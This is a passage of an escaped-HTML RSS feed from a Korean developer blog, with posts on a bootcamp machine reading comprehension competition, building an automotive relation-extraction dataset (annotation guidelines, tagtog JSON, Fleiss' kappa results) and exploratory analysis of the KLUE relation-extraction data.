srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb0YxMn%2FbtrVMX0U3ap%2FilnjqQJajqimfQ1a7LiN6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;621&quot; height=&quot;164&quot; data-filename=&quot;Untitled (10) (1).png&quot; data-origin-width=&quot;913&quot; data-origin-height=&quot;241&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;외부 데이터 TAPT&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외부 데이터셋이 허용된다는 룰을 확인 한 후, Klue MRC와 유사한 korquad, wiki(AI hub) 데이터셋을 사용하기로 결정하였다. Korquad와 wiki 데이터를 합치면 대회 데이터의 30배 정도의 데어티였고, 대회 데이터와 합쳐서 학습한 결과 오히려 성능이 하락했고, 외부 데이터를 먼저 학습 했을 때 epoch를 1보다 크게 줄 경우 외부 데이터에 과적합 되어서인지 성능이 떨어졌다. 이를 통해 규모가 큰 데이터에 과적합되지 않되, TAPT로 표현력을 높이기 위해 1 에포크로 학습한 후 대회 데이터로 재학습한 결과 baseline 대비 em이 5 이상 상승하는 효과를 낼 수 있었다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;image (5) (1).png&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;423&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ez5syZ/btrVOgTqfr4/MPZ14jYy5iHp51TTQgTMAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ez5syZ/btrVOgTqfr4/MPZ14jYy5iHp51TTQgTMAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ez5syZ/btrVOgTqfr4/MPZ14jYy5iHp51TTQgTMAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fez5syZ%2FbtrVOgTqfr4%2FMPZ14jYy5iHp51TTQgTMAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;619&quot; height=&quot;131&quot; data-filename=&quot;image (5) (1).png&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;423&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;BM25&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Baseline 코드는 retrieval model이 tf-idf로 되어 있었고, sparse retrieval에 있어서 SOTA로 평가 받는 BM25를 활용하기 위해 BM25.py를 구현하였다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;발표&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;운이 좋게도 private 2등을 거두게 되어, 발표를 하게 되었다. 실험적인 부분은 대부분의 팀들이 실행했을 거라고 생각하였고, pytorch lightning, 우리 팀의 협업 / 소통 방법을 중점으로 설명하려고 하였다. 많은 사람들 앞에서 발표하는 것은 생각보다 떨렸지만 좋은 경험이었던 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>AI Tech 4기/Level2</category>
      <author>daniel7481</author>
      <guid isPermaLink="true">https://developersdream.tistory.com/140</guid>
      <comments>https://developersdream.tistory.com/140#entry140comment</comments>
      <pubDate>Mon, 9 Jan 2023 13:33:47 +0900</pubDate>
    </item>
    <item>
      <title>P Stage: 데이터 제작</title>
      <link>https://developersdream.tistory.com/139</link>
      <description>&lt;h1&gt;1. 프로젝트 개요&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;위키피디아 원시 말뭉치를 활용하여 관계 추출 태스크에 쓰이는 주석 코퍼스 제작&lt;/li&gt;
&lt;li&gt;Relation set의 구성 및 정의, 가이드라인 작성, 파일럿 및 메인 어노테이션, 그리고 간단한 모델 Fine-tuning의 과정을 통해 실제 데이터 제작의 workflow 경험&lt;/li&gt;
&lt;li&gt;정밀한 가이드라인 제작의 중요성과 inter-annotator agreement(IAA)의 개념 체득&lt;/li&gt;
&lt;li&gt;2022.12.07(수) ~ 2022.12.16(금) 13:00&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1012&quot; data-origin-height=&quot;596&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2g1Hk/btrUmjSthue/fnkoLsmCyLE71dkMn12wtk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2g1Hk/btrUmjSthue/fnkoLsmCyLE71dkMn12wtk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2g1Hk/btrUmjSthue/fnkoLsmCyLE71dkMn12wtk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2g1Hk%2FbtrUmjSthue%2FfnkoLsmCyLE71dkMn12wtk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;564&quot; height=&quot;332&quot; data-origin-width=&quot;1012&quot; data-origin-height=&quot;596&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 팀 구성 및 역할&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;김건우_T4017 IAA 계산, 모델 튜닝, RE 데이터 태깅&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;백단익_T4098&lt;/td&gt;
&lt;td&gt;Relation Map 작성, 가이드라인 FAQ 작성, RE 데이터 태깅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;손용찬_T4108&lt;/td&gt;
&lt;td&gt;tagtog 플랫폼 문장 업로드, RE 데이터 태깅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;이재덕_T4163&lt;/td&gt;
&lt;td&gt;가이드라인 작성, RE 데이터 태깅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;정석희_T4194&lt;/td&gt;
&lt;td&gt;가이드라인 작성, RE 데이터 태깅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 데이터 개요&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.1 &lt;b&gt;데이터 설명&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자동차와 관련된 부품(타이어, 브레이크, 엔진 등), 브랜드(기아, 볼보, 아우디 등) 등의 키워드 등을 중심으로 정보를 포함하는 데이터이다. 데이터는 부스트캠프 측으로부터 &lt;b&gt;자동차 주제&lt;/b&gt;에서 도출된&amp;nbsp;키워드들을 위키피디아(&lt;a href=&quot;https://creativecommons.org/licenses/by-sa/3.0/deed.ko&quot;&gt;CC BY-SA 3.0&lt;/a&gt;) 문서 제목을 기반으로 수집해 제공받았다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.2 &lt;b&gt;데이터 선택 이유&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팀원 대부분 자동차에 관심이 많아, 배경 지식을 활용해 데이터 Annotation에 활용할 수 있을 것이라 기대하였다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. RE 데이터 제작 결과물&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4.1 Relation Map&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.google.com/spreadsheets/d/1MCTVKEpYXXyJF8r8deRXWbWaDMFv_h6KWDZ7A9moDJI/edit#gid=0&quot;&gt;[RelationMap]&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;자동차&amp;rsquo; 주제의 문서들에서 relation extraction을 할 때 고려할 만 한 &quot;Relation&quot;과 해당하는 &quot;Entity type&quot;들을 직접 선정하는 작업을 진행하였다. 주어진 데이터 파일(txt-file)은 총 67개로, 939 rows(line)을 확인할 수 있었다. 팀원 당 188 rows를 할당하여 데이터를 검토 후, &amp;ldquo;Relation&amp;rdquo;과 &quot;Entity type&quot;을 논의하였다. 1차 논의로 Relation Map 및 가이드라인을 작성하였고, Pilot Tagging을 진행하며 Relation에 대해 재정의 후, 최종 Relation, Entity type를 결정하였다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4.2 Guideline&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.google.com/document/d/1FnXk3156cKa53elhtfnyBVpXccs4awXv-c7SX1NU2OQ/edit&quot;&gt;[Guideline]&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자동차 분야의 관계 추출 태스크를 위한 데이터 제작 과정을 설명하기 위해 작성하였다. 먼저 관계의 방향성, 관계없음 등의 Annotation 가이드라인을 예시와 함께 작성하고, Annotation 태깅 과정에서 발생할 수 있는 Data Error 등 관리자에게 보고가 필요한 사항 등을 정리했다. 마지막으로 태깅 과정에서 팀원들 간 질문이 나왔거나 함께 합의한 부분은 FAQ에 상세하게 정리해 누구나 쉽게 궁금증을 해결할 수 있도록 했다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. Tagging using tagtog&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5.1 문장 업로드&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 document는 의미가 통하는 한 개~3개 정도의 문장을 하나로 두었고, 한 document내에는 두 개의 entity만 존재하는 것을 원칙으로 하였습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5.2 Entity와 relation 설정&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Tagging에 필요한 모든 entity와 relation을 설정해주었습니다. 또한 no_relation용 entity인 SUB_no, OBJ_no 또한 설정해주었고, relation 또한 설정해주었습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;630&quot; data-origin-height=&quot;1018&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4mcpA/btrUlIZsoGQ/IjdCyIE2MNSHxuHvS2tJV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4mcpA/btrUlIZsoGQ/IjdCyIE2MNSHxuHvS2tJV0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4mcpA/btrUlIZsoGQ/IjdCyIE2MNSHxuHvS2tJV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4mcpA%2FbtrUlIZsoGQ%2FIjdCyIE2MNSHxuHvS2tJV0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;400&quot; height=&quot;646&quot; data-origin-width=&quot;630&quot; data-origin-height=&quot;1018&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5.3 Tagtog ann.json csv 파일로 변환&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Tagging이 완료된 json 파일은 다음과 같은 형식을 띄고 있다.&lt;/p&gt;
&lt;pre class=&quot;json&quot;&gt;&lt;code&gt;{
  &quot;annotatable&quot;: {
    &quot;parts&quot;: [
      &quot;s1v1&quot;
    ]
  },
  &quot;anncomplete&quot;: false,
  &quot;sources&quot;: [],
  &quot;metas&quot;: {},
  &quot;entities&quot;: [
    {
      &quot;classId&quot;: &quot;e_1&quot;,
      &quot;part&quot;: &quot;s1v1&quot;,
      &quot;offsets&quot;: [
        {
          &quot;start&quot;: 0,
          &quot;text&quot;: &quot;크라이슬러&quot;
        }
      ],
      &quot;coordinates&quot;: [],
      &quot;confidence&quot;: {
        &quot;state&quot;: &quot;pre-added&quot;,
        &quot;who&quot;: [
          &quot;user:daniel0801&quot;
        ],
        &quot;prob&quot;: 1
      },
      &quot;fields&quot;: {},
      &quot;normalizations&quot;: {}
    },
    {
      &quot;classId&quot;: &quot;e_30&quot;,
      &quot;part&quot;: &quot;s1v1&quot;,
      &quot;offsets&quot;: [
        {
          &quot;start&quot;: 28,
          &quot;text&quot;: &quot;닷지&quot;
        }
      ],
      &quot;coordinates&quot;: [],
      &quot;confidence&quot;: {
        &quot;state&quot;: &quot;pre-added&quot;,
        &quot;who&quot;: [
          &quot;user:daniel0801&quot;
        ],
        &quot;prob&quot;: 1
      },
      &quot;fields&quot;: {},
      &quot;normalizations&quot;: {}
    }
  ],
  &quot;relations&quot;: [
    {
      &quot;classId&quot;: &quot;r_42&quot;,
      &quot;type&quot;: &quot;linked&quot;,
      &quot;directed&quot;: false,
      &quot;entities&quot;: [
        &quot;s1v1|e_1|0,4&quot;,
        &quot;s1v1|e_30|28,29&quot;
      ],
      &quot;confidence&quot;: {
        &quot;state&quot;: &quot;pre-added&quot;,
        &quot;who&quot;: [
          &quot;user:daniel0801&quot;
        ],
        &quot;prob&quot;: 1
      }
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;딕셔너리 형식인 json파일을 DataFrame으로 변환 후, csv파일로 저장하여 우리가 원하는 데이터 형식으로 변환해주었다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 데이터 검증&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6.1 Fleiss&amp;rsquo; Kappa 계산&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2차례에 걸쳐 Fleiss&amp;rsquo; Kappa를 계산했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;목표 값인 0.7에 조금 미치지 못하는 값을 얻을 수 있었으며, 이를 바탕으로 일부 relation에 대한 수정을 진행했다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;pilot_1&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;#raters = 4 , #subjects = 25 , #categories = 10 PA = 0.7133333333333334 PE = 0.14000000000000004 Fleiss' Kappa = 0.667&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;pilot_2&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;#raters = 5 , #subjects = 25 , #categories = 10 PA = 0.736 PE = 0.18784 Fleiss' Kappa = 0.675&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6.2 모델 학습 및 결과&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전체 503개의 데이터셋에 대해 8:1:1로 train:valid:test를 나누어 학습을 진행했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(Klue/bert-base 기본 모델을 사용)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;train_matrix (전체 503 문장에 대한 학습 결과)precision recall f1-score support&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;975&quot; data-origin-height=&quot;652&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGBwlX/btrUk6sKbBz/y2j07GK511V8VLYapTFnKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGBwlX/btrUk6sKbBz/y2j07GK511V8VLYapTFnKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGBwlX/btrUk6sKbBz/y2j07GK511V8VLYapTFnKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGBwlX%2FbtrUk6sKbBz%2Fy2j07GK511V8VLYapTFnKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;565&quot; height=&quot;378&quot; data-origin-width=&quot;975&quot; data-origin-height=&quot;652&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;test_matrix(10%인 56 문장에 대한 학습 결과)Test_matrix precision recall f1-score support&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;934&quot; data-origin-height=&quot;683&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QMREZ/btrUoj412ff/d5d41hdXd87GqKb92MhKqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QMREZ/btrUoj412ff/d5d41hdXd87GqKb92MhKqK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QMREZ/btrUoj412ff/d5d41hdXd87GqKb92MhKqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQMREZ%2FbtrUoj412ff%2Fd5d41hdXd87GqKb92MhKqK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;567&quot; height=&quot;415&quot; data-origin-width=&quot;934&quot; data-origin-height=&quot;683&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7.Discussion&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;No_relation, org:sub_org/employees 의 2가지 relation에 대한 학습이 제대로 이루어지지 않았음을 확인했다.&lt;/li&gt;
&lt;li&gt;애매한 label에 대해 idv:type 으로 예측하는 경우가 많았다. 이를 통해 guide line에서 idv:type에 대한 재정의가 필요함을 확인했다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;8. 자체 평가 의견&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자체적으로 데이터를 생산해보는 일은 흥미로웠지만 동시에 에너지가 많이 소요되고 수 많은 토의가 필요한 과제라는 것을 깨닫을 수 있는 시간이었다. 동일한 데이터에 대해서도 이렇게나 다르게 이해할 수 있구나라고 생각이 많이 드는 과제였고, 이런 인지 부분은 경험적으로 다르기 때문에 설득하기에도 어려웠던 것 같다. 그래서 상당 부분은 설득할 수 없이 팀의 의견으로 따라가는 경우도 많았던 것 같다. 하지만 여전히 sub, obj entity를 따로 나눌 필요는 없다고 느꼈고(어차피 tagtog에서 관계를 추가해줄 때 처음 선택되는 entity가 subject고, 두번 째가 object이기 때문), no_relation을 위한 entity를 따로 만들어주면(우리 팀은 sub_no, obj_no)였다, 이를 악용하여 entity를 토대로 그냥 no_relation을 예측하면 되므로 좋은 데이터가 아니라는 생각이 들었다. 사실 AI Tech을 진행하면서 이번에는 쉬어가는 시간이라고 생각이 되었지만, 정말 느낀 부분이 많다. 이는 이 과정이 끝나면 포스팅하도록 하겠다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;</description>
      <category>AI Tech 4기/Level2</category>
      <category>4기</category>
      <category>AI Tech</category>
      <category>P Stage</category>
      <category>데이터 제작</category>
      <author>daniel7481</author>
      <guid isPermaLink="true">https://developersdream.tistory.com/139</guid>
      <comments>https://developersdream.tistory.com/139#entry139comment</comments>
      <pubDate>Thu, 22 Dec 2022 20:01:11 +0900</pubDate>
    </item>
    <item>
      <title>P Stage: Relation Extraction</title>
      <link>https://developersdream.tistory.com/138</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제 정의&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문장 안에서 Entity(단어)가 2개 주어졌을 때, 문장 내에 두 단어의 관계를 예측하는 task다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1077&quot; data-origin-height=&quot;635&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwinwS/btrSVKi0fKN/kz3arNnIbRerk8TrbyoKgk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwinwS/btrSVKi0fKN/kz3arNnIbRerk8TrbyoKgk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwinwS/btrSVKi0fKN/kz3arNnIbRerk8TrbyoKgk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwinwS%2FbtrSVKi0fKN%2Fkz3arNnIbRerk8TrbyoKgk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;433&quot; height=&quot;255&quot; data-origin-width=&quot;1077&quot; data-origin-height=&quot;635&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 대회에서 EDA를 맡게 되었고, 가장 먼저 데이터를 하나하나씩 뜯어보면서 우리가 풀어야할 문제를 정의하려고 하였고, 데이터 시각화를 통해 여러 가지 인사이트를 발굴했다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;EDA&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터셋은 KLUE Datset을 사용했으며, 칼럼은 id, Sentence, subject_entity, object_entity, label, source로 나뉜다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;id: 인덱스다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Sentence: Entity가 포함된 문장들이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;subject_entity: Entity 간의 관계를 파악할 때 주어가 되는 단어다. 예로 들어 label이per:children이라면 subject_entity의 type은 person이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;object_entity: Entity 간의 관계를 파악할 때 목적어가 되는 단어다. 위 예시에서 children이 object_entity의 type이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;label: 30개의 class 라벨이다. 30개의 라벨은 no_relation, per:, org: 세 가지 경우로 나뉜다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;source: 이 데이터셋을 가져온 출처다. Wikipedia, Wikitree, policy_briefing 세 가지 종류가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;칼럼 별로 데이터 분석을 진행하였다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Sentence column&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Sentence 길이 시각화&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;569&quot; data-origin-height=&quot;413&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oTg9w/btrSSKYFsyC/bk46ZAECGJcK3ir7Yh5xbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oTg9w/btrSSKYFsyC/bk46ZAECGJcK3ir7Yh5xbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oTg9w/btrSSKYFsyC/bk46ZAECGJcK3ir7Yh5xbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoTg9w%2FbtrSSKYFsyC%2Fbk46ZAECGJcK3ir7Yh5xbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;368&quot; height=&quot;267&quot; data-origin-width=&quot;569&quot; data-origin-height=&quot;413&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 그래프의 x축은 문장의 길이, y축은 갯수다. 시각화 결과 train_data, test_data 모두 동일한 분포를 가지고 있었다. 문장의 길이는 대체로 긴 편이었으며, 이를 통해 Entity의 위치가 embedding size인 512를 넘어가는 데이터가 존재할 것이라는 생각을 하게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한자가 포함되어 있는 데이터&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인 결과, Sentence에 한자가 포함되어 있는 데이터는 2504개였다. Subject/object entity에서도 한자가 포함되어 있는 데이터도 확인되었다. 추후 hanja 라이브러리를 사용하여 한자를 한국어로 변환하는 실험을 진행했다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Subject / Object Entity&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 subject / object entity의 형태를 살펴보았다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1006&quot; data-origin-height=&quot;50&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CV4b1/btrSWa2R1Ct/AnGUs5hd5OOcAzOujKW2J1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CV4b1/btrSWa2R1Ct/AnGUs5hd5OOcAzOujKW2J1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CV4b1/btrSWa2R1Ct/AnGUs5hd5OOcAzOujKW2J1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCV4b1%2FbtrSWa2R1Ct%2FAnGUs5hd5OOcAzOujKW2J1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1006&quot; height=&quot;50&quot; data-origin-width=&quot;1006&quot; data-origin-height=&quot;50&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;딕셔너리 형식으로 작성되었음에도 String 형식으로 저장되었다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;베이스라인 코드의 전처리 함수에서 오류를 발견하였다.&lt;/p&gt;
